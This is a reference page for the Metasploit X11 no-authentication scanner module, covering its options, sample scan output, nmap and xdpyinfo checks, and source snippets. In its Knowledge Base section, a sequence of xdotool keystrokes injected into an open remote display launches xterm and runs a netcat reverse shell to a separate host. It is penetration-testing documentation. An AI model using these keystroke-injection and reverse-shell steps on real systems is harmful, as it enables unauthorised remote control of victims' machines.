X11 No-Auth Scanner - Metasploit

This page contains detailed information about how to use the auxiliary/scanner/x11/open_x11 metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

Name: X11 No-Auth Scanner
Module: auxiliary/scanner/x11/open_x11
Source code: modules/auxiliary/scanner/x11/open_x11.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 6000
List of CVEs: CVE-1999-0526

This module scans for X11 servers that allow anyone to connect without authentication.

Module Ranking and Traits

Module Ranking:

• normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/x11/open_x11
msf auxiliary(open_x11) > show options
    ... show and set options ...
msf auxiliary(open_x11) > set RHOSTS ip-range
msf auxiliary(open_x11) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(open_x11) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(open_x11) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(open_x11) > set RHOSTS file:/tmp/ip_list.txt

Required Options

• RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

    msf > use auxiliary/scanner/x11/open_x11 
    msf auxiliary(open_x11) > set rhosts 192.168.2.75 192.168.2.26
    rhosts => 192.168.2.75 192.168.2.26
    msf auxiliary(open_x11) > run

    [+] 192.168.2.75:6000     - 192.168.2.75 Open X Server (The X.Org Foundation)
    [*] Scanned 1 of 3 hosts (33% complete)
    [+] 192.168.2.26:6000     - 192.168.2.26 Open X Server (The X.Org Foundation)
    [*] Scanned 2 of 3 hosts (66% complete)
    [+] 192.168.2.32:6000     - 192.168.2.32 Open X Server (Sun Microsystems, Inc.)
    [*] Auxiliary module execution completed

# nmap -p 6000 --script=x11-access 192.168.2.26,75

Starting Nmap 7.40 ( https://nmap.org ) at 2017-04-23 13:15 EDT
Nmap scan report for ubuntu-desktop-16 (192.168.2.26)
Host is up (0.0021s latency).
PORT     STATE SERVICE
6000/tcp open  X11
|_x11-access: X server access is granted
MAC Address: 00:0C:29:60:27:F9 (VMware)

Nmap scan report for ubuntu-desktop-14 (192.168.2.75)
Host is up (0.0021s latency).
PORT     STATE SERVICE
6000/tcp open  X11
|_x11-access: X server access is granted
MAC Address: 00:0C:29:0E:C4:6E (VMware)

# xdpyinfo -display 192.168.2.75:0 | head -n 5

name of display:    192.168.2.75:0
version number:    11.0
vendor string:    The X.Org Foundation
vendor release number:    11803000
X.Org version: 1.18.3

xdotool key alt+F2
xdotool key x t e r m
xdotool key KP_Enter
xdotool key n c space 1 9 2 period 1 6 8 period 2 period 9 space 8 0 space minus e space slash b i n slash b a s h KP_Enter

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Msfconsole Usage

Here is how the scanner/x11/open_x11 auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/x11/open_x11

msf6 auxiliary(scanner/x11/open_x11) > show info

       Name: X11 No-Auth Scanner
     Module: auxiliary/scanner/x11/open_x11
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  tebo <[email protected]>

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT    6000             yes       The target port (TCP)
  THREADS  1                yes       The number of concurrent threads (max one per host)

Description:
  This module scans for X11 servers that allow anyone to connect 
  without authentication.

References:
  OSVDB (309)
  https://nvd.nist.gov/vuln/detail/CVE-1999-0526

Module Options

This is a complete list of options available in the scanner/x11/open_x11 auxiliary module:

msf6 auxiliary(scanner/x11/open_x11) > show options

Module options (auxiliary/scanner/x11/open_x11):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    6000             yes       The target port (TCP)
   THREADS  1                yes       The number of concurrent threads (max one per host)

Advanced Options

Here is a complete list of advanced options supported by the scanner/x11/open_x11 auxiliary module:

msf6 auxiliary(scanner/x11/open_x11) > show advanced

Module advanced options (auxiliary/scanner/x11/open_x11):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   CHOST                                 no        The local client address
   CPORT                                 no        The local client port
   ConnectTimeout       10               yes       Maximum number of seconds to establish a TCP connection
   Proxies                               no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL                  false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                             no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode        PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion           Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress         true             yes       Display progress messages during a scan
   ShowProgressPercent  10               yes       The interval in percent that progress should be shown
   VERBOSE              false            no        Enable detailed status messages
   WORKSPACE                             no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the scanner/x11/open_x11 module can do:

msf6 auxiliary(scanner/x11/open_x11) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the scanner/x11/open_x11 auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/x11/open_x11) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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Error Messages

This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No response received due to a timeout

Here is a relevant code snippet related to the "No response received due to a timeout" error message:

42:	      disconnect
43:	
44:	      if response
45:	        success = response[0,1].unpack('C')[0]
46:	      else
47:	        print_error("No response received due to a timeout")
48:	        return
49:	      end
50:	
51:	
52:	      if(success == 1)

<IP> Access Denied

Here is a relevant code snippet related to the "<IP> Access Denied" error message:

61:	          :port	=> rport,
62:	          :type	=> 'Open X Server',
63:	          :data	=> "Open X Server (#{vendor})"
64:	      )
65:	      elsif (success == 0)
66:	        print_error("#{ip} Access Denied")
67:	      else
68:	        # X can return a reason for auth failure but we don't really care for this
69:	      end
70:	
71:	    rescue ::Rex::ConnectionError

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Related Pull Requests

• #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
• #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
• #7516 Merged Pull Request: print_{good,error} more specifically in open_x11
• #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
• #6655 Merged Pull Request: use MetasploitModule as a class name
• #6648 Merged Pull Request: Change metasploit class names
• #5059 Merged Pull Request: Yard doc corrections
• #4412 Merged Pull Request: Resolve #4408 - bad uncaught nil get_once
• #2525 Merged Pull Request: Change module boilerplate
• #1228 Merged Pull Request: MSFTIDY cleanup #1 - auxiliary

References

• OSVDB (309)
• CVE-1999-0526

See Also

Check also the following modules related to this module:

• auxiliary/scanner/etcd/open_key_scanner
• auxiliary/scanner/http/open_proxy
• exploit/unix/webapp/open_flash_chart_upload_exec
• exploit/windows/ftp/open_ftpd_wbem
• auxiliary/admin/http/foreman_openstack_satellite_priv_esc
• auxiliary/admin/http/openbravo_xxe
• auxiliary/dos/http/dell_openmanage_post
• auxiliary/dos/ssl/openssl_aesni
• auxiliary/gather/drupal_openid_xxe
• auxiliary/gather/opennms_xxe
• auxiliary/scanner/http/es_file_explorer_open_port
• auxiliary/scanner/http/openmind_messageos_login
• auxiliary/scanner/openvas/openvas_gsad_login
• auxiliary/scanner/openvas/openvas_omp_login
• auxiliary/scanner/openvas/openvas_otp_login
• auxiliary/scanner/ssl/openssl_ccs
• auxiliary/scanner/ssl/openssl_heartbleed
• auxiliary/scanner/wproxy/att_open_proxy
• auxiliary/server/openssl_altchainsforgery_mitm_proxy
• auxiliary/server/openssl_heartbeat_client_memory
• auxiliary/sqli/openemr/openemr_sqli_dump
• auxiliary/sqli/oracle/dbms_metadata_open
• exploit/aix/local/xorg_x11_server
• exploit/multi/local/xorg_x11_suid_server
• exploit/multi/local/xorg_x11_suid_server_modulepath
• exploit/unix/x11/x11_keyboard_exec

Related Nessus plugins:

• X11 Server Unauthenticated Access
• X Server Unauthenticated Access: Screenshot

Authors

• tebo <tebodell[at]gmail.com>

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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